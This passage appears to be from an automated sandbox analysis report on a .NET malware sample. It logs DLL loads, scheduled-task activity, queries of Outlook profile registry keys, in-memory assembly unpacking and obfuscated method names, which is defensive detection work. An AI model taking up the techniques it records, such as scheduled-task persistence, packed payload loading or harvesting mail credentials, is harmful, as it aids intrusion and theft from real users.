          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: version.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: dwrite.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: windowscodecs.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: iconcodecservice.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: edputil.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: windows.staterepositoryps.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: appresolver.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: bcp47langs.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: slc.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: onecorecommonproxystub.dllJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
          Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dll
          Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dll
          Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: kernel.appcore.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: uxtheme.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: mscoree.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: vcruntime140_clr0400.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: ucrtbase_clr0400.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: ucrtbase_clr0400.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: wldp.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: amsi.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: userenv.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: profapi.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: version.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: msasn1.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: gpapi.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: cryptsp.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: rsaenh.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: cryptbase.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: windows.storage.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: rasapi32.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: rasman.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: rtutils.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: mswsock.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: winhttp.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: ondemandconnroutehelper.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: iphlpapi.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: dhcpcsvc6.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: dhcpcsvc.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: dnsapi.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: winnsi.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: rasadhlp.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: fwpuclnt.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: secur32.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: sspicli.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: schannel.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: mskeyprotect.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: ntasn1.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: ncrypt.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: ncryptsslp.dll
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeSection loaded: dpapi.dll
          Source: C:\Users\user\Desktop\FT876567090.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
          Source: Window RecorderWindow detected: More than 3 window changes detected
          Source: C:\Users\user\Desktop\FT876567090.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
          Source: FT876567090.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
          Source: FT876567090.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: Binary string: _.pdb source: FT876567090.exe, 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, EYDNKhhJr.exe, 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp

          Data Obfuscation

          barindex
          .NET source code contains potential unpacker
          Source: FT876567090.exe, ServerForm.cs.Net Code: InitializeComponent System.AppDomain.Load(byte[])
          Source: EYDNKhhJr.exe.0.dr, ServerForm.cs.Net Code: InitializeComponent System.AppDomain.Load(byte[])
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, qGBWZDj2yg2TJE6Bru.cs.Net Code: Nal7N2nq0B System.Reflection.Assembly.Load(byte[])
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, qGBWZDj2yg2TJE6Bru.cs.Net Code: Nal7N2nq0B System.Reflection.Assembly.Load(byte[])
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, qGBWZDj2yg2TJE6Bru.cs.Net Code: Nal7N2nq0B System.Reflection.Assembly.Load(byte[])
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 0_2_070D1038 push ss; iretd 0_2_070D1039
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_0040E21D push ecx; ret 10_2_0040E230
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_02D5E558 push eax; iretd 10_2_02D5E559
          Source: C:\Users\user\Desktop\FT876567090.exeCode function: 10_2_06D897EF push es; ret 10_2_06D89800
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeCode function: 15_2_030DE558 push eax; iretd 15_2_030DE559
          Source: FT876567090.exeStatic PE information: section name: .text entropy: 7.6723614059541525
          Source: EYDNKhhJr.exe.0.drStatic PE information: section name: .text entropy: 7.6723614059541525
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, gunVrZUufkMPi6OEOH.csHigh entropy of concatenated method names: 'p0RckG15xS', 'YMRcMqkHgb', 'p1IcBnOLO7', 'OewcUOOpUa', 'oiRcuUJ3vO', 'Y3xcWenDiR', 'FApcZJUs2g', 'FTtct8cWjq', 'U9ecVQjWKm', 'nfXcJRtaqc'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, y9TACZBKrPpfSKJwvL.csHigh entropy of concatenated method names: 'v4ysLiqsRm', 'wUks0kq3p1', 'aVLsDVXQsg', 'duVs1QraTv', 'fd2sTKklfY', 'pEss3QfDMl', 'YNLsSXKHJk', 'fKdsqsLJly', 'R8usETgrq3', 'CS1soniegF'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, jsAYmYy7jtZ5gPTTtNi.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'sEm6VCqDLY', 'SRo6JDDjgM', 'BON6bqTxMb', 'IGn66i7PAt', 'hsf6R7xom7', 'O066pFWUls', 'DIs6h5VBvm'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, bi9ridzXvirRH9xiZe.csHigh entropy of concatenated method names: 'XkrJMColKP', 'Lm0JBin5vI', 'fyWJUOTS3Y', 'iqxJnAtnif', 'h4pJApAOcm', 'CneJgU4OZQ', 'e3tJmXWqIs', 'sJDJhGbVCp', 'DWfJaAY2nc', 'aQRJ8Z4UAf'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, eCt5ui776sJeAhtWrQ.csHigh entropy of concatenated method names: 'X68yH9TACZ', 'lrPyjpfSKJ', 'qufyxkMPi6', 'OEOyvHqESG', 'WWQyuSoHqJ', 'bNFyWNFGov', 'c3J0smQJCyHKLXmPUP', 'MaAgJ5N7jThrXp9CHi', 'Oc3yyxlH2g', 'G1MyIa48Iq'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, xneZSO22UMK1ZN6FUO.csHigh entropy of concatenated method names: 'Jg3Haw6Hk2', 'KdKH83xTyB', 'd2pHNjFOPX', 'jSSHkvGKVH', 'fr5H4qo1Ua', 'QdBHMdUvMI', 'BXsHF6Uikx', 'PX6HBfEPBo', 'CuRHUMB6ls', 'MeLH5jcMek'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, sC8mrBsiegcndi6imW.csHigh entropy of concatenated method names: 'Dispose', 'c94yEpoYXw', 'RK2eAqtAqc', 'ICLKvM4aj6', 'WrlyowYdT3', 'HceyzfK8tq', 'ProcessDialogKey', 'VIeerDt5QP', 'VLoeyloEUi', 'JR3eebhCMM'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, GCigAdecIbLlCQv76r.csHigh entropy of concatenated method names: 'wlCNHM2El', 'Ijjk9K4lw', 'LQvMEtbF0', 'KF1FfWwtH', 's8YUHIPYr', 'MRf58VvCt', 'sSMFeA0wS3HwHYVPmY', 'FDMylxVettRd7IJtSG', 'YnQtTZZOZ', 'DtTJ4EO6P'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, mkNsanf4ytZx6QJiPE.csHigh entropy of concatenated method names: 'isriBPqF1P', 'EiniUPE89C', 'ak7inr9thY', 'oY4iAJwSFH', 'UYKig1Doob', 'C3Pimbk5GQ', 'SQUi9qYlxD', 'iAdidLPxVm', 'MaWiP0gMTo', 'WaNiOYiIBP'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, fYGDXC9nLkKwVYdycp.csHigh entropy of concatenated method names: 'rY8HGErjlc', 'H9VHcknXXq', 'lfUHCKSAj9', 'rGECo0jEKo', 'dqfCzsndJn', 'DGtHre2R3v', 'UBGHy3gZMm', 'hf7HeFcIdP', 'luJHIGrKyp', 'bvEH7CxZif'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, thCMMAoHGyLR1v4VD2.csHigh entropy of concatenated method names: 'bvZJcFXLaV', 'oQQJY2nyNs', 'IyMJCfpU4P', 'GWaJHNbgAF', 'HsZJVRysjK', 'Nj6JjMLh63', 'Next', 'Next', 'Next', 'NextBytes'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, GPiGiKyIdU4lsP3SKnM.csHigh entropy of concatenated method names: 'O5LboXui0n', 'qgObzNvSoV', 'LqW6rG2onx', 'Ix1SO6ItA3UZgIDBPq5', 'c3kWHeINIddJ7BQpFti', 'AewacAIgUDDd3FqkCNQ', 'zNP8ceIbX418MB9pDxj', 'Wpk5PVI55hKh7rWxkWt'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, cDt5QPE3LoloEUimR3.csHigh entropy of concatenated method names: 'oyjVnGPOx7', 'rAhVAJQ1Oc', 'rNKVXD3vMn', 'yBdVgi5p15', 'I1JVmLZgk3', 'NV2VleYYxo', 'OGdV9BuBdH', 'dCLVdqFU0y', 'qYqV2GQDPc', 'ODdVPH7R1D'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, jqJyNFnNFGovmngTSY.csHigh entropy of concatenated method names: 'tgaCQtEn9E', 'ayxCs6dpSj', 'ixRCYGJnCf', 'sdxCHdTRyr', 'xqTCjR1CGO', 'TBsYT07TuK', 'ScFY3lWc86', 'lIdYSXIxt2', 'dFJYqdpCpu', 'jZKYEdU5Lh'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, loiuhoc4lM5qqThqVZ.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'MfGeEgneZv', 'jABeoy3BQ1', 'xiAezLm3PD', 'wuJIr4Z9Ok', 'tmDIyIAycm', 'LkPIekRl01', 'lDXIIEXRnx', 'xUfLRLof7kg1ms0A6I4'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, qGBWZDj2yg2TJE6Bru.csHigh entropy of concatenated method names: 'CrKIQyK6vR', 'OBPIGpoXmo', 'q7fIsqSF9t', 'rFuIcUpkDM', 'Ap1IYudBAP', 'X8OICO8SbW', 'hiWIHrQNeJ', 'yTIIjreGac', 'Jy9IKlTkrU', 'uDIIxPYsQa'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, XESGjM5IcVEd4SWQSo.csHigh entropy of concatenated method names: 'qjFY42fCrM', 'fceYF1l3hp', 'qobcXj181V', 'z1ocgCByGU', 'TPAcmRkhb4', 'Lg4cl0kF6L', 'f39c9PwSEY', 'h65cdLAcQ0', 'Cdvc2n4rXx', 'MnkcPjdskD'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, d6o0O5SFWI94poYXwS.csHigh entropy of concatenated method names: 'EbDVuJMHxw', 'O2fVZWvNEO', 'BKIVVd8Gcp', 'DGwVbuPkD6', 'xtaVRFUMGD', 'w6iVhloGjR', 'Dispose', 'HlStGJPbbR', 'tMOtsXnfNW', 't3JtchnPsd'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, OmD8eT1yyXhuQJSvyr.csHigh entropy of concatenated method names: 'SjZZxkcHs1', 'AJEZvIcqSR', 'ToString', 'An3ZGD4ywb', 'dU2Zsiu300', 'bTkZcVDSFh', 's5hZYiNm9b', 'IGLZCFQ8db', 'tm2ZHvsgH0', 'T7kZjwR0j0'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, uZt2wsyroqfI9T4g0lY.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'DXpJO2TiSA', 'fydJwmxCwD', 'kPZJffpfry', 'v2WJLYwasT', 'yOOJ0p4J6G', 'ICUJDSSEk0', 'M8VJ1DqOrQ'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, etr7vDDutw28yVrRDX.csHigh entropy of concatenated method names: 'ToString', 'bBbWOiQcy3', 'iQFWAwA9Rc', 'gXYWXT4Myn', 'P7oWgSyqqe', 'zxlWmkwIo0', 'DGoWl0ZtFp', 'Xh4W9rIyY2', 'wmFWdpabYN', 'bKeW2bAeIR'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, QHahpPyyjOnLlFYyugX.csHigh entropy of concatenated method names: 'P5fJoNFkqA', 'zcOJzWKm81', 'kIsbrr0aE1', 'jY7byoQNMh', 'FIibeJ93ZG', 'mCvbIa08kM', 'GHvb7Dy8rw', 'vPabQEdHwP', 'bhLbGFlZ25', 'dRUbsuQpRr'
          Source: 0.2.FT876567090.exe.449a788.1.raw.unpack, gGEtiB3eVMC0N94kse.csHigh entropy of concatenated method names: 'UdXZquKpWw', 'yWGZojYI2Y', 'Fbdtrr4cZH', 'w57tyrQhFG', 'nSaZOJs8JB', 'upRZwuR54g', 'kuDZf1xf2R', 'HxBZL29LQj', 'cKQZ0SmhoO', 'HNjZDOQQ7Y'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, gunVrZUufkMPi6OEOH.csHigh entropy of concatenated method names: 'p0RckG15xS', 'YMRcMqkHgb', 'p1IcBnOLO7', 'OewcUOOpUa', 'oiRcuUJ3vO', 'Y3xcWenDiR', 'FApcZJUs2g', 'FTtct8cWjq', 'U9ecVQjWKm', 'nfXcJRtaqc'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, y9TACZBKrPpfSKJwvL.csHigh entropy of concatenated method names: 'v4ysLiqsRm', 'wUks0kq3p1', 'aVLsDVXQsg', 'duVs1QraTv', 'fd2sTKklfY', 'pEss3QfDMl', 'YNLsSXKHJk', 'fKdsqsLJly', 'R8usETgrq3', 'CS1soniegF'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, jsAYmYy7jtZ5gPTTtNi.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'sEm6VCqDLY', 'SRo6JDDjgM', 'BON6bqTxMb', 'IGn66i7PAt', 'hsf6R7xom7', 'O066pFWUls', 'DIs6h5VBvm'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, bi9ridzXvirRH9xiZe.csHigh entropy of concatenated method names: 'XkrJMColKP', 'Lm0JBin5vI', 'fyWJUOTS3Y', 'iqxJnAtnif', 'h4pJApAOcm', 'CneJgU4OZQ', 'e3tJmXWqIs', 'sJDJhGbVCp', 'DWfJaAY2nc', 'aQRJ8Z4UAf'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, eCt5ui776sJeAhtWrQ.csHigh entropy of concatenated method names: 'X68yH9TACZ', 'lrPyjpfSKJ', 'qufyxkMPi6', 'OEOyvHqESG', 'WWQyuSoHqJ', 'bNFyWNFGov', 'c3J0smQJCyHKLXmPUP', 'MaAgJ5N7jThrXp9CHi', 'Oc3yyxlH2g', 'G1MyIa48Iq'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, xneZSO22UMK1ZN6FUO.csHigh entropy of concatenated method names: 'Jg3Haw6Hk2', 'KdKH83xTyB', 'd2pHNjFOPX', 'jSSHkvGKVH', 'fr5H4qo1Ua', 'QdBHMdUvMI', 'BXsHF6Uikx', 'PX6HBfEPBo', 'CuRHUMB6ls', 'MeLH5jcMek'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, sC8mrBsiegcndi6imW.csHigh entropy of concatenated method names: 'Dispose', 'c94yEpoYXw', 'RK2eAqtAqc', 'ICLKvM4aj6', 'WrlyowYdT3', 'HceyzfK8tq', 'ProcessDialogKey', 'VIeerDt5QP', 'VLoeyloEUi', 'JR3eebhCMM'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, GCigAdecIbLlCQv76r.csHigh entropy of concatenated method names: 'wlCNHM2El', 'Ijjk9K4lw', 'LQvMEtbF0', 'KF1FfWwtH', 's8YUHIPYr', 'MRf58VvCt', 'sSMFeA0wS3HwHYVPmY', 'FDMylxVettRd7IJtSG', 'YnQtTZZOZ', 'DtTJ4EO6P'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, mkNsanf4ytZx6QJiPE.csHigh entropy of concatenated method names: 'isriBPqF1P', 'EiniUPE89C', 'ak7inr9thY', 'oY4iAJwSFH', 'UYKig1Doob', 'C3Pimbk5GQ', 'SQUi9qYlxD', 'iAdidLPxVm', 'MaWiP0gMTo', 'WaNiOYiIBP'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, fYGDXC9nLkKwVYdycp.csHigh entropy of concatenated method names: 'rY8HGErjlc', 'H9VHcknXXq', 'lfUHCKSAj9', 'rGECo0jEKo', 'dqfCzsndJn', 'DGtHre2R3v', 'UBGHy3gZMm', 'hf7HeFcIdP', 'luJHIGrKyp', 'bvEH7CxZif'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, thCMMAoHGyLR1v4VD2.csHigh entropy of concatenated method names: 'bvZJcFXLaV', 'oQQJY2nyNs', 'IyMJCfpU4P', 'GWaJHNbgAF', 'HsZJVRysjK', 'Nj6JjMLh63', 'Next', 'Next', 'Next', 'NextBytes'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, GPiGiKyIdU4lsP3SKnM.csHigh entropy of concatenated method names: 'O5LboXui0n', 'qgObzNvSoV', 'LqW6rG2onx', 'Ix1SO6ItA3UZgIDBPq5', 'c3kWHeINIddJ7BQpFti', 'AewacAIgUDDd3FqkCNQ', 'zNP8ceIbX418MB9pDxj', 'Wpk5PVI55hKh7rWxkWt'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, cDt5QPE3LoloEUimR3.csHigh entropy of concatenated method names: 'oyjVnGPOx7', 'rAhVAJQ1Oc', 'rNKVXD3vMn', 'yBdVgi5p15', 'I1JVmLZgk3', 'NV2VleYYxo', 'OGdV9BuBdH', 'dCLVdqFU0y', 'qYqV2GQDPc', 'ODdVPH7R1D'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, jqJyNFnNFGovmngTSY.csHigh entropy of concatenated method names: 'tgaCQtEn9E', 'ayxCs6dpSj', 'ixRCYGJnCf', 'sdxCHdTRyr', 'xqTCjR1CGO', 'TBsYT07TuK', 'ScFY3lWc86', 'lIdYSXIxt2', 'dFJYqdpCpu', 'jZKYEdU5Lh'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, loiuhoc4lM5qqThqVZ.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'MfGeEgneZv', 'jABeoy3BQ1', 'xiAezLm3PD', 'wuJIr4Z9Ok', 'tmDIyIAycm', 'LkPIekRl01', 'lDXIIEXRnx', 'xUfLRLof7kg1ms0A6I4'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, qGBWZDj2yg2TJE6Bru.csHigh entropy of concatenated method names: 'CrKIQyK6vR', 'OBPIGpoXmo', 'q7fIsqSF9t', 'rFuIcUpkDM', 'Ap1IYudBAP', 'X8OICO8SbW', 'hiWIHrQNeJ', 'yTIIjreGac', 'Jy9IKlTkrU', 'uDIIxPYsQa'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, XESGjM5IcVEd4SWQSo.csHigh entropy of concatenated method names: 'qjFY42fCrM', 'fceYF1l3hp', 'qobcXj181V', 'z1ocgCByGU', 'TPAcmRkhb4', 'Lg4cl0kF6L', 'f39c9PwSEY', 'h65cdLAcQ0', 'Cdvc2n4rXx', 'MnkcPjdskD'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, d6o0O5SFWI94poYXwS.csHigh entropy of concatenated method names: 'EbDVuJMHxw', 'O2fVZWvNEO', 'BKIVVd8Gcp', 'DGwVbuPkD6', 'xtaVRFUMGD', 'w6iVhloGjR', 'Dispose', 'HlStGJPbbR', 'tMOtsXnfNW', 't3JtchnPsd'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, OmD8eT1yyXhuQJSvyr.csHigh entropy of concatenated method names: 'SjZZxkcHs1', 'AJEZvIcqSR', 'ToString', 'An3ZGD4ywb', 'dU2Zsiu300', 'bTkZcVDSFh', 's5hZYiNm9b', 'IGLZCFQ8db', 'tm2ZHvsgH0', 'T7kZjwR0j0'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, uZt2wsyroqfI9T4g0lY.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'DXpJO2TiSA', 'fydJwmxCwD', 'kPZJffpfry', 'v2WJLYwasT', 'yOOJ0p4J6G', 'ICUJDSSEk0', 'M8VJ1DqOrQ'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, etr7vDDutw28yVrRDX.csHigh entropy of concatenated method names: 'ToString', 'bBbWOiQcy3', 'iQFWAwA9Rc', 'gXYWXT4Myn', 'P7oWgSyqqe', 'zxlWmkwIo0', 'DGoWl0ZtFp', 'Xh4W9rIyY2', 'wmFWdpabYN', 'bKeW2bAeIR'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, QHahpPyyjOnLlFYyugX.csHigh entropy of concatenated method names: 'P5fJoNFkqA', 'zcOJzWKm81', 'kIsbrr0aE1', 'jY7byoQNMh', 'FIibeJ93ZG', 'mCvbIa08kM', 'GHvb7Dy8rw', 'vPabQEdHwP', 'bhLbGFlZ25', 'dRUbsuQpRr'
          Source: 0.2.FT876567090.exe.4423768.0.raw.unpack, gGEtiB3eVMC0N94kse.csHigh entropy of concatenated method names: 'UdXZquKpWw', 'yWGZojYI2Y', 'Fbdtrr4cZH', 'w57tyrQhFG', 'nSaZOJs8JB', 'upRZwuR54g', 'kuDZf1xf2R', 'HxBZL29LQj', 'cKQZ0SmhoO', 'HNjZDOQQ7Y'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, gunVrZUufkMPi6OEOH.csHigh entropy of concatenated method names: 'p0RckG15xS', 'YMRcMqkHgb', 'p1IcBnOLO7', 'OewcUOOpUa', 'oiRcuUJ3vO', 'Y3xcWenDiR', 'FApcZJUs2g', 'FTtct8cWjq', 'U9ecVQjWKm', 'nfXcJRtaqc'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, y9TACZBKrPpfSKJwvL.csHigh entropy of concatenated method names: 'v4ysLiqsRm', 'wUks0kq3p1', 'aVLsDVXQsg', 'duVs1QraTv', 'fd2sTKklfY', 'pEss3QfDMl', 'YNLsSXKHJk', 'fKdsqsLJly', 'R8usETgrq3', 'CS1soniegF'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, jsAYmYy7jtZ5gPTTtNi.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'sEm6VCqDLY', 'SRo6JDDjgM', 'BON6bqTxMb', 'IGn66i7PAt', 'hsf6R7xom7', 'O066pFWUls', 'DIs6h5VBvm'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, bi9ridzXvirRH9xiZe.csHigh entropy of concatenated method names: 'XkrJMColKP', 'Lm0JBin5vI', 'fyWJUOTS3Y', 'iqxJnAtnif', 'h4pJApAOcm', 'CneJgU4OZQ', 'e3tJmXWqIs', 'sJDJhGbVCp', 'DWfJaAY2nc', 'aQRJ8Z4UAf'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, eCt5ui776sJeAhtWrQ.csHigh entropy of concatenated method names: 'X68yH9TACZ', 'lrPyjpfSKJ', 'qufyxkMPi6', 'OEOyvHqESG', 'WWQyuSoHqJ', 'bNFyWNFGov', 'c3J0smQJCyHKLXmPUP', 'MaAgJ5N7jThrXp9CHi', 'Oc3yyxlH2g', 'G1MyIa48Iq'
          Source: 0.2.FT876567090.exe.a2c0000.5.raw.unpack, xneZSO22UMK1ZN6FUO.csHigh entropy of concatenated method names: 'Jg3Haw6Hk2', 'KdKH83xTyB', 'd2pHNjFOPX', 'jSSHkvGKVH', 'fr5H4qo1Ua', 'QdBHMdUvMI', 'BXsHF6Uikx', 'PX6HBfEPBo', 'CuRHUMB6ls', 'MeLH5jcMek'
